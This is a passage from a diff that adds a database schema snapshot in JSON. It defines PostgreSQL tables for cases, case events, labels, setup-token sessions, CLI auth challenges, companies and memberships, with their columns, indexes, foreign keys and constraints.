+          "name": "case_events_case_id_cases_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_events_actor_agent_id_agents_id_fk": {
+          "name": "case_events_actor_agent_id_agents_id_fk",
+          "tableFrom": "case_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_events_kind_check": {
+          "name": "case_events_kind_check",
+          "value": "\"case_events\".\"kind\" in (\n        'created',\n        'updated',\n        'fields_changed',\n        'status_changed',\n        'issue_linked',\n        'issue_unlinked',\n        'document_revised',\n        'child_linked',\n        'attachment_added',\n        'label_added',\n        'label_removed'\n      )"
+        },
+        "case_events_actor_type_check": {
+          "name": "case_events_actor_type_check",
+          "value": "\"case_events\".\"actor_type\" in ('user', 'agent', 'system')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_issue_links": {
+      "name": "case_issue_links",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_issue_links_case_issue_uq": {
+          "name": "case_issue_links_case_issue_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_company_case_idx": {
+          "name": "case_issue_links_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_issue_links_issue_idx": {
+          "name": "case_issue_links_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_issue_links_company_id_companies_id_fk": {
+          "name": "case_issue_links_company_id_companies_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_case_id_cases_id_fk": {
+          "name": "case_issue_links_case_id_cases_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_issue_links_issue_id_issues_id_fk": {
+          "name": "case_issue_links_issue_id_issues_id_fk",
+          "tableFrom": "case_issue_links",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "case_issue_links_role_check": {
+          "name": "case_issue_links_role_check",
+          "value": "\"case_issue_links\".\"role\" in ('origin', 'work', 'reference')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.case_labels": {
+      "name": "case_labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "case_labels_case_label_uq": {
+          "name": "case_labels_case_label_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_company_case_idx": {
+          "name": "case_labels_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "case_labels_label_idx": {
+          "name": "case_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "case_labels_company_id_companies_id_fk": {
+          "name": "case_labels_company_id_companies_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_case_id_cases_id_fk": {
+          "name": "case_labels_case_id_cases_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "case_labels_label_id_labels_id_fk": {
+          "name": "case_labels_label_id_labels_id_fk",
+          "tableFrom": "case_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cases": {
+      "name": "cases",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_number": {
+          "name": "case_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_type": {
+          "name": "case_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'draft'"
+        },
+        "fields": {
+          "name": "fields",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "parent_case_id": {
+          "name": "parent_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cases_company_case_number_uq": {
+          "name": "cases_company_case_number_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_identifier_uq": {
+          "name": "cases_identifier_uq",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_key_uq": {
+          "name": "cases_company_type_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_status_idx": {
+          "name": "cases_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_type_idx": {
+          "name": "cases_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_company_project_idx": {
+          "name": "cases_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_parent_idx": {
+          "name": "cases_parent_idx",
+          "columns": [
+            {
+              "expression": "parent_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cases_title_search_idx": {
+          "name": "cases_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_identifier_search_idx": {
+          "name": "cases_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "cases_summary_search_idx": {
+          "name": "cases_summary_search_idx",
+          "columns": [
+            {
+              "expression": "summary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cases_company_id_companies_id_fk": {
+          "name": "cases_company_id_companies_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "cases_project_id_projects_id_fk": {
+          "name": "cases_project_id_projects_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_parent_case_id_cases_id_fk": {
+          "name": "cases_parent_case_id_cases_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "parent_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cases_created_by_agent_id_agents_id_fk": {
+          "name": "cases_created_by_agent_id_agents_id_fk",
+          "tableFrom": "cases",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "cases_status_check": {
+          "name": "cases_status_check",
+          "value": "\"cases\".\"status\" in ('draft', 'in_progress', 'in_review', 'approved', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.claude_setup_token_sessions": {
+      "name": "claude_setup_token_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "session_id": {
+          "name": "session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lease_id": {
+          "name": "lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "deadline_at": {
+          "name": "deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bound_at": {
+          "name": "bound_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "claude_setup_token_sessions_active_uq": {
+          "name": "claude_setup_token_sessions_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"claude_setup_token_sessions\".\"state\" IN ('starting', 'awaiting_code', 'submitting', 'persisting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_session_id_uq": {
+          "name": "claude_setup_token_sessions_session_id_uq",
+          "columns": [
+            {
+              "expression": "session_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "claude_setup_token_sessions_deadline_idx": {
+          "name": "claude_setup_token_sessions_deadline_idx",
+          "columns": [
+            {
+              "expression": "deadline_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "claude_setup_token_sessions_company_id_companies_id_fk": {
+          "name": "claude_setup_token_sessions_company_id_companies_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "claude_setup_token_sessions_environment_id_environments_id_fk": {
+          "name": "claude_setup_token_sessions_environment_id_environments_id_fk",
+          "tableFrom": "claude_setup_token_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cli_auth_challenges": {
+      "name": "cli_auth_challenges",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "secret_hash": {
+          "name": "secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_access": {
+          "name": "requested_access",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'board'"
+        },
+        "requested_company_id": {
+          "name": "requested_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pending_key_hash": {
+          "name": "pending_key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "pending_key_name": {
+          "name": "pending_key_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "board_api_key_id": {
+          "name": "board_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "cli_auth_challenges_secret_hash_idx": {
+          "name": "cli_auth_challenges_secret_hash_idx",
+          "columns": [
+            {
+              "expression": "secret_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_approved_by_idx": {
+          "name": "cli_auth_challenges_approved_by_idx",
+          "columns": [
+            {
+              "expression": "approved_by_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cli_auth_challenges_requested_company_idx": {
+          "name": "cli_auth_challenges_requested_company_idx",
+          "columns": [
+            {
+              "expression": "requested_company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cli_auth_challenges_requested_company_id_companies_id_fk": {
+          "name": "cli_auth_challenges_requested_company_id_companies_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "requested_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
